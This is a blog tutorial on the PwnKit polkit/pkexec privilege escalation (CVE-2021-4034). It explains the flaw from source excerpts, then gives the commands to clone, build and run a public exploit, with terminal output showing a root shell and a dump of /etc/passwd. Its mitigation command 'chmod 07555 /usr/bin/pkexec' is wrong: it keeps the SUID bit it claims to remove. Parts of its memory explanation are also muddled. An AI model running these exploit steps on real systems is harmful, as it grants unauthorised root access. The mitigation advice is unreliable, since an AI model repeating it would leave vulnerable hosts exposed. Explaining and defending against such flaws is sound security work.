

# Linux Privilege Escalation: PwnKit (CVE 2021-4034)

February 7, 2022 By Raj Chandel

## Introduction

Team Qualys [discovered](#) a local privilege escalation vulnerability in PolicyKit's (polkit) setuid tool pkexec which allows low-level users to run commands as privileged users. According to Qualys, the vulnerability exists in the pkexec.c code that doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. Thus, an attacker can craft environment variables in such a way that it will induce pkexec to execute arbitrary code. We are using the older vulnerable Ubuntu 20.04 in this demonstration which can be downloaded from Ubuntu's old releases page. Newer releases already come with a patched polkit framework. Mitre post can be found [here](#).

## Polkit and pkexec

**Polkit and pkexec:** PolicyKit is also known as polkit in Linux systems. It is an authorization API used by programs to elevate its permissions to that of an elevated user and run processes as an elevated user (root, generally). If the user is not specified it tries to run that command as the root user. Sudo does the same thing in terms that it lets a user run commands as root, however, with pkexec, admins can finely control the execution of particular programs by defining policies for it. Sudo has no restriction and a user may run any command as an elevated user-given, he knows the password. Pkexec also takes some effort in setting up but Debian variants, including the popular Ubuntu, come with polkit and pkexec pre-installed. These authorization rules for third party packages are defined in \*.rules JavaScript files kept in the directory `/usr/share/polkit-1/rules.d/`

You can read more about polkit and basics [here](#).

## Details about PwnKit

Pkexec's code can be viewed on github [here](#). In the main function, you can see two parameters being passed, argc and argv[].

```
int
main (int argc, char *argv[]) ←
{
    guint n;
    guint ret;
    gint rc;
    gboolean opt_show_help;
    gboolean opt_show_version;
    gboolean opt_disable_internal_agent;
    PolkitAuthority *authority;
```



If we do not pass any argument to this function, `argc=0` and `argv=NULL`. In the for loop, `n` is now set to 1 and the loop does not execute as the condition fails.

```
533     for (n = 1; n < (guint) argc; n++) ←
534     {
535         if (strcmp (argv[n], "--help") == 0)
536         {
537             opt_show_help = TRUE;
538         }
539         else if (strcmp (argv[n], "--version") == 0)
540         {
541             opt_show_version = TRUE;
542         }
```


When a program is executed, arguments, environment variables and pointers are placed contiguously in stack. path variable is set to NULL. This makes `argv[argc]` equal to Null and finally, `argv[n]` becomes `argv[1]` (as `n=1`) which becomes the `envp[]` or the environment variable. Author calls it “value”. (You can refer to the original post to understand in-depth)

```
608     g_assert (argv[argc] == NULL);
609     path = g_strdup (argv[n]); ←
610     if (path == NULL)
611     {
612         GPtrArray *shell_argv;
613
```

Since the path is NULL, it doesn't start with “/” (indicating absolute path) and hence, the function `g_find_program_in_path` searches for the value in the environment variables.

```
628     if (path[0] != '/') 
629     {
630         /* g_find_program_in_path() is not susceptible to attacks via
631         s = g_find_program_in_path (path); 
632         if (s == NULL)
633         {
634             g_printerr ("Cannot run program %s: %s\n", path, strerror
635             goto out;
636         }
```

Variable s is finally set to that environment variable “value”

```
638     argv[n] = path = s; 
639 }
```

**Attack vector:** An attacker can create an environment variable and use this memory corruption technique to run his own executable named “value.” Hence, an attacker can use pre-existing environment variable privilege escalation methods to exploit this.

## Demonstration

A proof of concept for this vulnerability has been uploaded on github which can be found [here](#). To run the attack, we simply need to clone the repository, make the executable and run it. The program will exploit this memory corruption weakness as explained above.

```
cd /tmp
git clone https://github.com/berdav/CVE-2021-4034 pwnkit
make
./cve-2021-4034
whoami
cat /etc/passwd
```

```
harshit@ubuntu:/tmp$ git clone https://github.com/berdav/CVE-2021-4034.git pwnkit
Cloning into 'pwnkit'...
remote: Enumerating objects: 92, done.
remote: Counting objects: 100% (92/92), done.
remote: Compressing objects: 100% (58/58), done.
remote: Total 92 (delta 44), reused 71 (delta 32), pack-reused 0
Unpacking objects: 100% (92/92), 22.54 KiB | 1.25 MiB/s, done.
harshit@ubuntu:/tmp$ cd pwnkit/
harshit@ubuntu:/tmp/pwnkit$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
harshit@ubuntu:/tmp/pwnkit$ ./cve-2021-4034
# whoami
root
# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
```

And just with two commands, we have exploited pkexec's vulnerability and escalated ourselves to root!

## Mitigation

- The vulnerability has already been patched by respective vendors. In Ubuntu 20.04 policykit-1 – 0.105-26ubuntu1.2 version mitigates this weakness.
- If no patches are available for your operating system, you can remove the SUID-bit from pkexec as temporary mitigation.

```
chmod 07555 /usr/bin/pkexec
```

## Conclusion

All of the unupdated older versions of Debian flavours and Red hat flavours are susceptible to this attack making it a severe risk for an organization. The ease of exploitation of this attack makes it even more dangerous. It is highly recommended that sysadmins update their installed polkit packages today. Thanks for reading.